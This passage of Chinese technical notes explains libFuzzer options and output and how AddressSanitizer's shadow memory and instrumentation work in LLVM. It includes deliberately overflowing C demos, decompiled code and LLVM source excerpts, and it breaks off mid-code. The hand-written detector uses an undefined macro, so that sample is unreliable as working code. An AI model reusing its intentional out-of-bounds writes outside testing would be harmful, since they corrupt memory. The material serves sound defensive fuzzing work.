997Mb L: 72629 MS: 3 CopyPart-ChangeByte-CMP- DE: \"\\x0b\\x00\"-\n#3109\tNEW    cov: 4327 ci: 18481K ft: 10030 corp: 500/79Mb exec/s: 115 rss: 997Mb L: 65197 MS: 1 CMP- DE: \"\\x1f\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"-\n#3522\tNEW    cov: 4328 ci: 18481K ft: 10031 corp: 501/80Mb exec/s: 103 rss: 997Mb L: 39524 MS: 4 InsertByte-ChangeBit-EraseBytes-InsertByte-\n\n```\n\n\n\n  其中cov值则是执行分支总数,可以看到两次Fuzzer运行之间的巨大差异(第一次执行只覆盖899个分支,第二次执行覆盖4328个分支).这里-worker是指同时使用多个进程来执行Fuzzer(源码实现在FuzzerDriver.cpp WorkerThread()).\n\n\n\n#### 多个libFuzzer同时启动时,怎么样区分不同的libFuzzer生成的Crash?\n\n\n\n  libFuzzer产生崩溃时,会记录当前的崩溃样本到本地,但是这些崩溃样本都是以crash slow-unit oom作为前缀.在一些模糊测试场景中,我们会在当前目录下执行多个libFuzzer程序,那就会导致多个libFuzzer产生的崩溃样本无法辨识,此时引入-artifact_prefix参数为崩溃样本自定义前缀即可.\n\n\n\n![](./pic12/3.png)\n\n\n\n#### 依赖库没有源码时有没有必要使用libFuzzer?\n\n\n\n  通过前面的分析,我们知道libFuzzer想要实现遗传算法进行模糊测试,那就需要依赖代码覆盖率Sanitize-Coverage进行插桩.但是有时候要进行模糊测试的程序要依赖到动态库和静态库,此时我们就无法对此进行插桩了.笔者在工作中遇到这种情况,处理思路如下:\n\n* **依赖库中的源码和被模糊测试的源码之间有很大的关联性**.举个例子,项目中依赖7zip的解压库,然后项目对此进行一层性能优化封装,那么要测试的代码也就必须要包含项目中的封装层代码和7zip依赖库源码,因为缺少了其中任意一部分的代码,就会很难覆盖全整个功能所需要的代码,会导致有些逻辑没法被覆盖到.\n* **依赖库中的源码和被模糊测试的源码之间关联系不大**.比如项目中引用了protobuf进行数据解析,然后具体的处理逻辑则是由项目处理,那么依赖库protobuf就不应该包含在模糊测试范围中.\n\n\n\n#### 如何并行执行多个libFuzzer?\n\n\n\n  libFuzzer默认只执行一个进程来做模糊测试.我们使用-jobs和-workers参数就能让libFuzzer创建多个**进程**并行执行.命令如下:\n\n\n\n```sh\nfuzzing@fuzzing-virtual-machine:~/Desktop/test_code$ ./test_code -jobs=10\n```\n\n\n\n![](./pic12/4.png)\n\n\n\n  假设读者的电脑配置是4核8G内存的话,那么就会同时有两个进程在执行.如果要同时跑四个进程的话,那就设置为`-workers=4`,workers的值默认是当前CPU核数/2.\n\n  -jobs参数是指完成了n个libFuzzer进程之后就退出程序,默认值为0.如果我们要同时执行8个进程并行执行libFuzzer的命令如下:\n\n\n\n```sh\nfuzzing@fuzzing-virtual-machine:~/Desktop/test_code$ ./test_code -jobs=8 -workers=8\n```\n\n\n\n  需要特别注意的是,如果读者们要并行执行libFuzzer,jobs和workers参数的传值缺一不可.因为libFuzzer代码中的逻辑就是workers和jobs必须要大于0才可以执行并行多进程,所以这个隐藏的坑就是为什么只设置了`-workers=8`但是libFuzzer没有执行并行的原因,因为此时jobs值为默认为0.\n\n  还有一点值得提示一下,libFuzzer所做的模糊测试,实际上并没有尝试去维护*干净的上下文*然后重新模糊测试.笔者举个Qemu Fuzzer的例子来说明一下.\n\n  我们在对Qemu进行模糊测试时,会生成大量的MMIO和Port IO的方式来进行设备通信.那么大量的测试数据会导致Qemu设备的*状态不断发生改变,而不是从一个初始的状态开始执行*.比如说解析PE文件的接口,我们实例化类之后把文件内容传递到接口去测试,那么这个类都是从初始的状态去执行数据解析然后改变状态.但是对于Qemu虚拟机这样复杂的系统,它需要维护很多上下文相关的对象,所以每次模糊测试和设备交互时,都会对设备的状态进行改变,导致无法从*初始的状态*开始测试,影响最终复现漏洞的结果.为了解决这个问题,Qemu 5.2.0中支持的模糊测试方法是在libFuzzer LLVMFuzzerTestOneInput()中为TracePC创建共享内存,然后fork()出子进程执行模糊测试,父进程wait()等待子进程模糊测试结束,然后从共享内存中收集代码覆盖信息,回馈到libFuzzer核心逻辑中去.\n\n\n\n![](./pic12/11.png)\n\n\n\n#### libFuzzer输出哪些信息,怎么样根据这些信息优化Fuzzer?\n\n\n\n  运行libFuzzer编译的程序,从启动到崩溃输出的信息如下:\n\n\n\n![](./pic12/5.png)\n\n\n\n  第一行输出`INFO: Seed: 1410507973`,意思是当前的随机数种子的初始值.因为每一次执行libFuzzer随机数种子的值都是随机的,但是如果读者们想要复现libFuzzer模糊测试,那就需要使用参数`-seed`指定随机数种子的值.\n\n  第二行输出`INFO: Loaded 1 modules   (10 inline 8-bit counters): 10 [0x5a6ed0, 0x5a6eda)`,意思是显示当前libFuzzer中使用到的插桩方式(inline 8-bit counters)以及Edge分支信息的内存区域开始和结束信息(Start:0x5a6ed0,End:0x5a6eda,总分支数:10).第三行输出亦是同样意义.\n\n  第四行输出`INFO: -max_len is not provided; libFuzzer will not generate inputs larger than 4096 bytes`,意思是当前没有指定参数`-max_len`,默认max_len的值是4096字节(4K).max_len参数的意义在于限制libFuzzer生成的Data内容大小.有时候在对协议处理的功能进行模糊测试,那么max_len相对的取值是小一点的,但是对于文件处理的功能进行模糊测试,那么max_len有可能需要设置为100K,具体场景具体分析.\n\n  第五行输出`INFO: A corpus is not provided, starting from an empty corpus`,意思是没有指定输入样本,从空数据生成开始模糊测试.\n\n  第六行输出`#2\tINITED cov: 2 ft: 2 corp: 1/1b exec/s: 0 rss: 31Mb`,意思是执行完所有初始样本输入数据,代码覆盖(cov字段)2个块(以BasicBlock或Edge为单位),2条执行路径(ft字段);每秒执行次数0(exec/s字段);内存占用为31 MB(rss字段).libFuzzer会对程序执行内存有限制,默认内存上限是2 GB.在模糊测试的过程中因为大量内存分配超出rss,那就会导致libFuzzer崩溃,记录当前样本到OOM-xxx文件,如果读者们需要控制libFuzzer的内存上限值,那就使用`-rss_limit_mb`参数(注意,内存泄露也记录在这个范畴中).\n\n  第七行输出`#1949\tNEW    cov: 3 ft: 3 corp: 2/21b lim: 21 exec/s: 0 rss: 31Mb L: 20/20 MS: 2 InsertByte-InsertRepeatedBytes-`,意思是发现程序执行到新路径,此时代码覆盖3个块,3条执行路径;本次发现新路径时生成模糊测试数据大小为20字节(L字段);数据生成使用了2个数据变异模块串联生成(MS字段);所使用的模块顺序是InsertByte=>InsertRepeatedBytes.\n\n  libFuzzer输出模糊测试状态时,每行的第二个字段代表的含义如下:\n\n* READ ,意思是当前模糊测试阶段是从给定的样本文件夹中读取模糊测试数据来执行.\n\n* INITED ,意思是使用所有初始样本执行完LLVMFuzzerTestOneInput之后的状态信息.\n* NEW ,意思是发现新路径时的状态信息.\n* REDUCE ,意思是已经执行过的路径发现了更精简的输入.\n* RELOAD ,意思是从样本文件夹中发现并加载了新样本.\n* pulse ,没有什么特别的意义,就是定时告诉用户libFuzzer还在运行.\n* DONE ,libFuzzer执行结束.\n\n\n\n!!!!! 如何优化再补充一下~~~~\n\n\n\n\n\n\n\n## ASAN原理\n\n\n\n  读过libFuzzer-workshop或者有libFuzzer使用经验的读者应该对以下的命令很熟悉\n\n\n\n```sh\nclang++ -g openssl_fuzzer.cc -O2 -fno-omit-frame-pointer -fsanitize=address \\\n    -fsanitize-coverage=trace-pc-guard,trace-cmp,trace-gep,trace-div \\\n    -Iopenssl1.0.1f/include openssl1.0.1f/libssl.a openssl1.0.1f/libcrypto.a \\\n    ../../libFuzzer/libFuzzer.a -o openssl_fuzzer\n```\n\n\n\n  我们在引入libFuzzer时,还会引入ASAN(clang命令参数-fsanitize=address).也就是说,我们使用libFuzzer作为Fuzzer驱动,进行接口构造调用/数据生成/路径探测,然后使用ASAN作为内存异常检测工具.下面是使用ASAN的简单例子:\n\n\n\n```sh\nubuntu@ubuntu-virtual-machine:~/Desktop/instrument_note$ cat ./test_case_2.c \n#include <stdio.h>\n\nint main() {\n    char buffer[10] = {0};\n\n    printf(\"Try Crash!\\n\");\n    buffer[10] = 'C';\n    printf(\"Oops \\n\");\n    \n    return 1;\n}\nubuntu@ubuntu-virtual-machine:~/Desktop/instrument_note$ clang ./test_case_2.c -o ./test_case_2 && ./test_case_2\nTry Crash!\nOops \nubuntu@ubuntu-virtual-machine:~/Desktop/instrument_note$ clang -fsanitize=address ./test_case_2.c -o ./test_case_2 && ./test_case_2\nTry Crash!\n=================================================================\n==520651==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7ffeea008e8a at pc 0x0000004c5098 bp 0x7ffeea008e50 sp 0x7ffeea008e48\nWRITE of size 1 at 0x7ffeea008e8a thread T0\n    #0 0x4c5097 in main (/home/ubuntu/Desktop/instrument_note/test_case_2+0x4c5097)\n    #1 0x7fbfa3d56cb1 in __libc_start_main csu/../csu/libc-start.c:314:16\n    #2 0x41b2bd in _start (/home/ubuntu/Desktop/instrument_note/test_case_2+0x41b2bd)\n\nAddress 0x7ffeea008e8a is located in stack of thread T0 at offset 42 in frame\n    #0 0x4c4f5f in main (/home/ubuntu/Desktop/instrument_note/test_case_2+0x4c4f5f)\n...\n```\n\n\n\n  本章着重于探索ASAN的实现原理,关于ASAN的更深入用法建议参考官方文档(https://clang.llvm.org/docs/AddressSanitizer.html ;https://github.com/google/sanitizers/wiki/AddressSanitizer ).\n\n\n\n#### ASAN异常检测原理\n\n\n\n  使用前面的演示例子,当buffer越界时,它必然会修改越界后内存的数据(...虽然这句是废话,但还是要提一下).我们用gdb调试没有引入ASAN编译的示例代码:\n\n\n\n```text\n(gdb) n\nTry Crash!\n10\t    buffer[10] = 'C';\n(gdb) info local\nbuffer = \"\\000\\000\\000\\000\\000\\000\\000\\000\\000\"\n(gdb) x /16x buffer\n0x7fffffffdfb2:\t0x00\t0x00\t0x00\t0x00\t0x00\t0x00\t0x00\t0x00\n0x7fffffffdfba:\t0x00\t0x00\t0x00\t0x00\t0x00\t0x00\t0xa0\t0x11\n(gdb) n\n12\t    printf(\"Oops \\n\");\n(gdb) x /16x buffer\n0x7fffffffdfb2:\t0x00\t0x00\t0x00\t0x00\t0x00\t0x00\t0x00\t0x00\n0x7fffffffdfba:\t0x00\t0x00\t0x43\t0x00\t0x00\t0x00\t0xa0\t0x11\n(gdb) \n```\n\n\n\n  可以看到这里已经越界写数据成功了.一般地,我们要检测越界读写问题时,就需要专门创建一块内存用来做越界对比.下面的示例代码将引入检测逻辑:\n\n\n\n```c\n#include <memory.h>\n#include <stdio.h>\n#include <stdlib.h>\n\n#define CHECK_MEMORY_LEFT_SIZE   (0x8)\n#define CHECK_MEMORY_RIGHT_SIZE  (0x8)\n#define CHECK_MEMORY_NORMAL_FLAG (0x00)\n#define CHECK_MEMORY_EXCEPT_FLAG (0xFF)\n\n\nvoid* create_check_memory(int buffer_size) {  // 创建内存映射,并且给这块映射内存两则边缘\n    int real_buffer_size = \n        CHECK_MEMORY_LEFT_SIZE + CHECK_MEMORY_RIGHT_SIZE + buffer_size;\n    char* buffer = malloc(real_buffer_size);\n\n    memset(buffer,CHECK_MEMORY_EXCEPT_FLAG,real_buffer_size);  // 填充异常Flag\n    memset(&buffer[CHECK_MEMORY_LEFT_SIZE],CHECK_MEMORY_NORMAL_FLAG,buffer_size);  // 内存中标识为正常值则说明这块区域是可以任意操作的\n\n    return buffer;\n}\n\nvoid free_check_memory(void* buffer,int buffer_size) {  // 释放内存\n    memset(buffer,CHECK_MEMORY_FREE_FLAG,\n        CHECK_MEMORY_LEFT_SIZE + CHECK_MEMORY_RIGHT_SIZE + buffer_size);  // 不要free()释放,而是填充异常Flag,后续如果遇到UAF类漏洞就可以检测到\n}\n\nint is_overflow(void* buffer,int offset,int is_write) {  // 检测内存异常\n    unsigned char data = ((unsigned char*)buffer)[CHECK_MEMORY_LEFT_SIZE + offset];\n\n    if (CHECK_MEMORY_NORMAL_FLAG != data) {\n        switch (data) {\n            case CHECK_MEMORY_EXCEPT_FLAG:\n                if (is_write)\n                    printf(\" ==== Write OverFlow !! ====\\n\");\n                else\n                    printf(\" ==== Read OverFlow !! ====\\n\");\n\n                break;\n            case CHECK_MEMORY_FREE_FLAG:\n                printf(\" ==== Use After Free !! ====\\n\");\n\n                break;\n            default:\n                printf(\"Unknow Except\\n\");\n        }\n        exit(0);\n    }\n    return 0;\n}\n\nint main() {\n    char buffer[10] = {0};\n    char* shadow_buffer = create_check_memory(sizeof(buffer));  // 为buffer变量创建检测映射内存\n\n    if (is_overflow(shadow_buffer,5,0))  // 向真实内存中写入数据之前先到检测内存中判断是否有异常\n        exit(0);\n\n    int data = buffer[5];  // 正常的读操作\n    printf(\"Try Crash!\\n\");\n\n    if (is_overflow(shadow_buffer,10,1))\n        exit(0);\n\n    buffer[10] = 'C';  // 异常的写操作\n    printf(\"Oops \\n\");\n    free_check_memory(shadow_buffer,sizeof(buffer));\n\n    return 1;\n}\n```\n\n\n\n  运行结果如下:\n\n\n\n```sh\nubuntu@ubuntu-virtual-machine:~/Desktop/instrument_note$ clang -g ./test_case_2.c -o ./test_case_2 && ./test_case_2\nTry Crash!\n ==== Write OverFlow !! ====\nubuntu@ubuntu-virtual-machine:~/Desktop/instrument_note$ \n```\n\n\n\n  这短短几十行代码就是ASAN异常检测的核心原理,它包含了:\n\n* 每个缓冲区中对应的异常检测内存,对应的是ASAN的Shadow Table概念.\n* 每个异常检测内存中都会插入正常/异常标识,对应的是ASAN的投毒(Poison)概念.\n* 每次进行真实内存操作之前必须获取异常检测内存的内容,判断该地址是否被投毒过,对应的是ASAN的插桩检测概念.\n\n  聪明的读者可能会提出这个疑问:因为在异常检测内存的左边和右边八字节范围的内存被污染过,如果读写的偏移足够大,是不是检测逻辑就失效了呢?很遗憾,确实会存在这样的问题.\n\n\n\n```text\n(gdb) x /8x buffer\n0x4052a0:\t0xffffffff\t0xffffffff\t0x00000000\t0x00000000\n0x4052b0:\t0xffff0000\t0xffffffff\t0x0000ffff\t0x00000000\n```\n\n\n\n  笔者在现实场景中遇到ASAN也存在这样的问题.\n\n\n\n```c\n#include <stdio.h>\n\nint main(void) {\n    char buffer[10] = {0};\n\n    printf(\"no crash!\\n\");\n    buffer[0x1001] = 0xFF;\n\n    printf(\"crash!\\n\");\n    buffer[10] = 0xFF;\n\n    return 0;\n}\n```\n\n```sh\nubuntu@ubuntu-virtual-machine:~/Desktop/instrument_note$ clang -g -fsanitize=address ./test_case_3.c -o ./test_case_3 && ./test_case_3\nno crash!\ncrash!\n=================================================================\n==521485==ERROR: AddressSanitizer: stack-buffer-overflow on address 0x7fffb261710a at pc 0x0000004c50f9 bp 0x7fffb26170d0 sp 0x7fffb26170c8\nWRITE of size 1 at 0x7fffb261710a thread T0\n    #0 0x4c50f8 in main /home/ubuntu/Desktop/instrument_note/./test_case_3.c:12:16\n    #1 0x7f54faa5dcb1 in __libc_start_main csu/../csu/libc-start.c:314:16\n    #2 0x41b2bd in _start (/home/ubuntu/Desktop/instrument_note/test_case_3+0x41b2bd)\n\nAddress 0x7fffb261710a is located in stack of thread T0 at offset 42 in frame\n    #0 0x4c4f5f in main /home/ubuntu/Desktop/instrument_note/./test_case_3.c:5\n\n...\n```\n\n\n\n  理解核心原理之后,接下来就探索LLVM怎么样实现ASAN.在深入ASAN实现之前,我们必须要知道的一点就是:ASAN分为两部分,插桩(Instrumentation Pass)和运行时逻辑(Compiler-RT).\n\n  代码插桩负责:\n\n* 在代码中符合条件的数据操作之前插入异常检测逻辑.\n* 引入对全局/栈空间的检测逻辑.\n\n  运行时逻辑负责:\n\n* 内存分配/投毒逻辑\n* 内存操作hook\n* ...\n\n  明白这些概念之后,直接逆向简单的ASAN插桩后的程序,代码如下:\n\n\n\n```c\nint __cdecl main(int argc, const char **argv, const char **envp){\n  if ( _asan_option_detect_stack_use_after_return )\n    v24 = (_QWORD *)_asan_stack_malloc_3(0LL, (__asan *)0x180);\n  stack_point = v24;\n  if ( !v24 )\n    stack_point = (_QWORD *)((unsigned __int64)(&v11 - 48) & 0xFFFFFFFFFFFFFFE0LL);\n  stack_point_ = (unsigned __int64)stack_point;\n  v25 = stack_point;\n  *stack_point = 0x41B58AB3LL;                  // 填充栈开始Magic Code\n  *(_QWORD *)(stack_point_ + 8) = \"1 32 272 4 test\";\n  *(_QWORD *)(stack_point_ + 0x10) = main;\n  shadow_memory = stack_point_ >> 3;\n  *(_QWORD *)(shadow_memory + 0x7FFF8000) = 0xF8F8F8F8F1F1F1F1LL; // 对ShadowTable中分配的栈内存进行投毒\n  *(_QWORD *)(shadow_memory + 0x7FFF8008) = 0xF8F8F8F8F8F8F8F8LL;\n  *(_QWORD *)(shadow_memory + 0x7FFF8010) = 0xF8F8F8F8F8F8F8F8LL;\n  *(_QWORD *)(shadow_memory + 0x7FFF8018) = 0xF8F8F8F8F8F8F8F8LL;\n  *(_QWORD *)(shadow_memory + 0x7FFF8020) = 0xF3F3F8F8F8F8F8F8LL;\n  *(_QWORD *)(shadow_memory + 0x7FFF8028) = 0xF3F3F3F3F3F3F3F3LL;\n  v26 = 0;\n  *(_QWORD *)(shadow_memory + 0x7FFF8004) = 0LL; // 初始化可用栈区域\n  *(_QWORD *)(shadow_memory + 0x7FFF800C) = 0LL;\n  *(_QWORD *)(shadow_memory + 0x7FFF8014) = 0LL;\n  *(_QWORD *)(shadow_memory + 0x7FFF801C) = 0LL;\n  *(_WORD *)(shadow_memory + 0x7FFF8024) = 0;\n  v7 = *(_BYTE *)(((unsigned __int64)(real_data_ + 0x22) >> 3) + 0x7FFF8000);\n  v13 = (unsigned __int64)(real_data_ + 0x22);  // 计算偏移,获取到ShadowTable中的内存\n  v12 = v7;\n  if ( v7 )  // ASAN内存异常检测插桩判断,内存中是0值表示为正常内存,可以使用,如果为非0值那就认为是被污染过的\n    _asan_report_store1(v13);  // 提示报错\n  *(_BYTE *)v13 = -1;  // 写入真实内存,注意,ShadowTable中的数据全部都是标识这块内存是否被污染过,用了什么方式污染,并不会保存真实的数据到ShadowTable中,所以它才被称为影子页表.\n  v8 = v21;\n  *(_QWORD *)((char *)v21 + 4) = 0xF8F8F8F8F8F8F8F8LL;  // 释放栈时不是直接free(),而是填充Stack use after标志\n  *(_QWORD *)((char *)v8 + 12) = 0xF8F8F8F8F8F8F8F8LL;\n  *(_QWORD *)((char *)v8 + 20) = 0xF8F8F8F8F8F8F8F8LL;\n  *(_QWORD *)((char *)v8 + 28) = 0xF8F8F8F8F8F8F8F8LL;\n  *((_WORD *)v8 + 18) = -1800;\n    \n  return 0;\n```\n\n\n\n#### 编译时插桩原理\n\n\n\n  ASAN的插桩原理比SanitizerCoverage复杂得多,为了容易理解,后续分析实现过程时会省略很多细节.ASAN的插桩过程简单来说就是:\n\n1. 筛选合适的指令\n2. 填充插桩代码\n3. 进行栈平衡\n\n  整体的逻辑示意图如下,先理解过程之后再带着印象去探索源码才能事半功倍:\n\n\n\n![](C:\\Users\\Fremy\\Desktop\\vm\\instrument\\pic12\\Asan-Arch.png)\n\n\n\n  ASAN的实现代码在\\llvm-project\\llvm\\lib\\Transforms\\Instrumentation\\AddressSanitizer.cpp.遍历每个函数进行插桩的入口点在`AddressSanitizer::instrumentFunction()`函数.\n\n\n\n```c++\nbool AddressSanitizer::instrumentFunction(Function &F,const TargetLibraryInfo *TLI) {\n  // 省略代码\n  SmallVector<InterestingMemoryOperand, 16> OperandsToInstrument;\n  SmallVector<MemIntrinsic *, 16> IntrinToInstrument;\n  SmallVector<BasicBlock *, 16> AllBlocks;\n  int NumAllocas = 0;\n  // 这些Vector用于保存筛选出来的指令对象和信息\n\n  for (auto &BB : F) {  // 遍历BasicBlock\n    AllBlocks.push_back(&BB);\n    for (auto &Inst : BB) {  // 遍历指令\n      SmallVector<InterestingMemoryOperand, 1> InterestingOperands;\n      getInterestingMemoryOperands(&Inst, InterestingOperands);\n\n      if (!InterestingOperands.empty()) {  // 如果当前指令属于需要插桩的位置,那就记录一下,后面会用到\n        for (auto &Operand : InterestingOperands) {\n          OperandsToInstrument.push_back(Operand);\n        }\n      } else if (MemIntrinsic *MI = dyn_cast<MemIntrinsic>(&Inst)) {  // memset/memcpy/memmove操作\n        IntrinToInstrument.push_back(MI);\n      }\n    }\n  }\n    \n  // ...\n    \n  for (auto &Operand : OperandsToInstrument) {  // 对数据访问指令进行操作\n    instrumentMop(ObjSizeVis, Operand, UseCalls,\n                    F.getParent()->getDataLayout());\n    FunctionModified = true;\n  }\n  for (auto Inst : IntrinToInstrument) {  // 对内存操作指令进行操作\n    instrumentMemIntrinsic(Inst);\n    FunctionModified = true;\n  }\n\n  FunctionStackPoisoner FSP(F, *this);\n  bool ChangedStack = FSP.runOnFunction();  // 对插桩之后的函数进行栈调整\n    \n  // ...\n    \n  return FunctionModified;\n}\n\nvoid AddressSanitizer::getInterestingMemoryOperands(\n    Instruction *I, SmallVectorImpl<InterestingMemoryOperand> &Interesting) {\n  if (LoadInst *LI = dyn_cast<LoadInst>(I)) {  // LLVM IR Load指令,用于读取数据\n    if (ignoreAccess(LI->getPointerOperand()))  // 判断指令中的操作数是否为指针\n      return;\n    Interesting.emplace_back(I, LI->getPointerOperandIndex(), false,\n                             LI->getType(), LI->getAlign());\n  } else if (StoreInst *SI = dyn_cast<StoreInst>(I)) {  // LLVM IR Store指令,用于保存数据\n    if (ignoreAccess(SI->getPointerOperand()))\n      return;\n    Interesting.emplace_back(I, SI->getPointerOperandIndex(), true,\n                             SI->getValueOperand()->getType(), SI->getAlign());\n  }\n}\n```\n\n\n\n  获得筛选出来的指令后,接下来就进行插桩操作.下面的插桩核心原理,就是在**Load/Store**指令前面插入异常检测逻辑,如果没有异常才可以执行真实的数据读写操作.\n\n\n\n```c++\nvoid AddressSanitizer::instrumentMop(ObjectSizeOffsetVisitor &ObjSizeVis,InterestingMemoryOperand &O, bool UseCalls,const DataLayout &DL) {\n  Value *Addr = O.getPtr();  // 获取指令操作的指针地址\n\n   // ...\n    \n  unsigned Granularity = 1 << Mapping.Scale;  // 内存检测粒度,后续再详解\n    \n  doInstrumentAddress(this, O.getInsn(), O.getInsn(), Addr, O.Alignment,\n                  Granularity, O.TypeSize, O.IsWrite, nullptr, UseCalls,\n                  Exp);\n}\n\nstatic void doInstrumentAddress(AddressSanitizer *Pass, Instruction *I,\n                                Instruction *InsertBefore, Value *Addr,\n                                MaybeAlign Alignment, unsigned Granularity,\n                                uint32_t TypeSize, bool IsWrite,\n                                Value *SizeArgument, bool UseCalls,\n                                uint32_t Exp) {\n  if ((TypeSize == 8 || TypeSize == 16 || TypeSize == 32 || TypeSize == 64 ||\n       TypeSize == 128) &&\n      (!Alignment || *Alignment >= Granularity || *Alignment >= TypeSize / 8))\n    return Pass->instrumentAddress(I, InsertBefore, Addr, TypeSize, IsWrite,\n                                   nullptr, UseCalls, Exp);  // 如果当前指令的访问方式是按字节大小访问的话(char,short,long,uint64_t这些方式)\n  Pass->instrumentUnusualSizeOrAlignment(I, InsertBefore, Addr, TypeSize,\n                                         IsWrite, nullptr, UseCalls, Exp);\n}\n\nvoid AddressSanitizer::instrumentAddress(Instruction *OrigIns,Instruction *InsertBefore, Value *Addr,uint32_t TypeSize, bool IsWrite,Value *SizeArgument, bool UseCalls,uint32_t Exp) {\n  bool IsMyriad = TargetTriple.getVendor() == llvm::Triple::Myriad;\n\n  IRBuilder<> IRB(InsertBefore);  // LLVM IR指令生成器\n  Value *AddrLong = IRB.CreatePointerCast(Addr, IntptrTy);\n  size_t AccessSizeIndex = TypeSizeToSizeIndex(TypeSize);\n\n  Type *ShadowTy =\n      IntegerType::get(*C, std::max(8U, TypeSize >> Mapping.Scale));\n  Type *ShadowPtrTy = PointerType::get(ShadowTy, 0);\n  Value *ShadowPtr = memToShadow(AddrLong, IRB);\n  Value *CmpVal = Constant::getNullValue(ShadowTy);\n  Value *ShadowValue =\n      IRB.CreateLoad(ShadowTy, IRB.CreateIntToPtr(ShadowPtr, ShadowPtrTy));\n\n  Value *Cmp = IRB.CreateICmpNE(ShadowValue, CmpVal);\n  Instruction *CrashTerm = nullptr;\n\n   /*\n   上面这段指令生成的意思是创建if判断:\n  shadow_page_flag = *(_BYTE *)((((unsigned __int64)real_data + 0x1001) >> 3) + 0x7FFF8000);\n  real_data_offset = (unsigned __int64)real_data + 0x1001;\n   if ( shadow_page_flag )  // ASAN内存异常检测插桩判断\n   */\n    \n  CrashTerm = SplitBlockAndInsertIfThen(Cmp, InsertBefore, !Recover);\n  Instruction *Crash = generateCrashCode(CrashTerm, AddrLong, IsWrite, AccessSizeIndex, SizeArgument, Exp);\n    \n   /*\n   上面这段指令生成的意思是if判断成功时,在它的子BasicBlock中创建函数调用:\n    _asan_report_store1(v13);  // 提示报错\n    \n   所以合并起来插桩代码就是:\n  shadow_page_flag = *(_BYTE *)((((unsigned __int64)real_data + 0x1001) >> 3) + 0x7FFF8000);\n  real_data_offset = (unsigned __int64)real_data + 0x1001;\n   if ( shadow_page_flag )  // ASAN内存异常检测插桩判断\n    _asan_report_store1(real_data_offset);  // 提示报错\n   */\n}\n```\n\n\n\n  对所有关键位置进行插入了异常判断后,最后一步就是调整函数的栈空间,把ShadowTable的分配和销毁引入进来.\n\n\n\n```c++\nbool AddressSanitizer::instrumentFunction() {\n   // ...\n   FunctionStackPoisoner FSP(F, *this);\n   bool ChangedStack = FSP.runOnFunction();\n   // ...\n}\n\nbool runOnFunction() {\n   // ...\n   // 遍历函数中所有指令,筛选出内存分配操作\n   for (BasicBlock *BB : depth_first(&F.getEntryBlock())) visit(*BB);\n   // ...\n   processDynamicAllocas();\n   processStaticAllocas();\n   // ...\n\n   return true;\n}\n\nvoid visitAllocaInst(AllocaInst &AI) {  // 遍历指令时遇到AllocaInst,它的意义是在栈内分配指定大小内存\n  if (!AI.isStaticAlloca())  // 只要在当前函数声明的变量,无论在if/switch/while/for里面哪个BasicBlock,编译时都会把这块内存的申请放到函数的入口BasicBlock中.isStaticAlloca的用意就在于判断这个AllocInst是否在当前函数的入口BasicBlock中执行,而且还判断AllocInst创建的内存大小的值是否会变而不是指定的大小.\n    DynamicAllocaVec.push_back(&AI);\n  else\n    AllocaVec.push_back(&AI);\n}\n\nvoid visitIntrinsicInst(IntrinsicInst &II) {\n  bool DoPoison = (ID == Intrinsic::lifetime_end);\n  AllocaPoisonCall APC = {&II, AI, SizeValue, DoPoison};\n  if (AI->isStaticAlloca())  // 同上\n    StaticAllocaPoisonCallVec.push_back(APC);  // 记录栈中分配对象大小和偏移信息\n  else if (ClInstrumentDynamicAllocas)\n    DynamicAllocaPoisonCallVec.push_back(APC);\n}\n```\n\n\n\n  `processDynamicAllocas()`的逻辑就不深入探索了,我们主要研究的是`processStaticAllocas()`函数的实现.\n\n\n\n```c++\nvoid FunctionStackPoisoner::processStaticAllocas() {\n  // ...\n  Instruction *InsBefore = AllocaVec[0];\n  IRBuilder<> IRB(InsBefore);  // 在函数的第一个AllocaInst指令前插入新代码\n\n  SmallVector<ASanStackVariableDescription, 16> SVD;\n  SVD.reserve(AllocaVec.size());\n  for (AllocaInst *AI : AllocaVec) {  // 遍历所有在函数入口点声明的AllocaInst指令,收集这些AllocaInst指令的信息\n    ASanStackVariableDescription D = {AI->getName().data(),\n                                      ASan.getAllocaSizeInBytes(*AI),\n                                      0,\n                                      AI->getAlignment(),\n                                      AI,\n                                      0,\n                                      0};\n    SVD.push_back(D);\n  }\n\n  size_t Granularity = 1ULL << Mapping.Scale;  // 内存粒度,后面再具体说明\n  size_t MinHeaderSize = std::max((size_t)ASan.LongSize / 2, Granularity);\n  const ASanStackFrameLayout &L =\n      ComputeASanStackFrameLayout(SVD, Granularity, MinHeaderSize);  // 调整ASAN插桩后的整个栈布局\n  uint64_t LocalStackSize = L.FrameSize;  // 获取调整之后的栈布局大小\n    \n  Value *StaticAlloca =\n      DoDynamicAlloca ? nullptr : createAllocaForLayout(IRB, L, false);  // 调整新栈空间,这块栈内存是真实使用的\n  Value *FakeStack;\n  Value *LocalStackBase;\n  Value *LocalStackBaseAlloca;\n  uint8_t DIExprFlags = DIExpression::ApplyOffset;\n\n  LocalStackBaseAlloca =\n      IRB.CreateAlloca(IntptrTy, nullptr, \"asan_local_stack_base\");\n  Constant *OptionDetectUseAfterReturn = F.getParent()->getOrInsertGlobal(\n      kAsanOptionDetectUseAfterReturn, IRB.getInt32Ty());\n  Value *UseAfterReturnIsEnabled = IRB.CreateICmpNE(\n      IRB.CreateLoad(IRB.getInt32Ty(), OptionDetectUseAfterReturn),\n      Constant::getNullValue(IRB.getInt32Ty()));\n  Instruction *Term =\n      SplitBlockAndInsertIfThen(UseAfterReturnIsEnabled, InsBefore, false);\n  IRBuilder<> IRBIf(Term);\n  StackMallocIdx = StackMallocSizeClass(LocalStackSize);\n  assert(StackMallocIdx <= kMaxAsanStackMallocSizeClass);\n  Value *FakeStackValue =\n      IRBIf.CreateCall(AsanStackMallocFunc[StackMallocIdx],\n                       ConstantInt::get(IntptrTy, LocalStackSize));\n  IRB.SetInsertPoint(InsBefore);\n  FakeStack = createPHI(IRB, UseAfterReturnIsEnabled, FakeStackValue, Term,\n                        ConstantInt::get(IntptrTy, 0));\n\n  Value *NoFakeStack =\n      IRB.CreateICmpEQ(FakeStack, Constant::getNullValue(IntptrTy));\n  Term = SplitBlockAndInsertIfThen(NoFakeStack, InsBefore, false);\n  IRBIf.SetInsertPoint(Term);\n  Value *AllocaValue =\n      DoDynamicAlloca ? createAllocaForLayout(IRBIf, L, true) : StaticAlloca;\n\n  IRB.SetInsertPoint(InsBefore);\n  LocalStackBase = createPHI(IRB, NoFakeStack, AllocaValue, Term, FakeStack);\n  IRB.CreateStore(LocalStackBase, LocalStackBaseAlloca);\n  // 生成的插桩代码等价于:\n  // void *FakeStack = __asan_option_detect_stack_use_after_return\n  //     ? 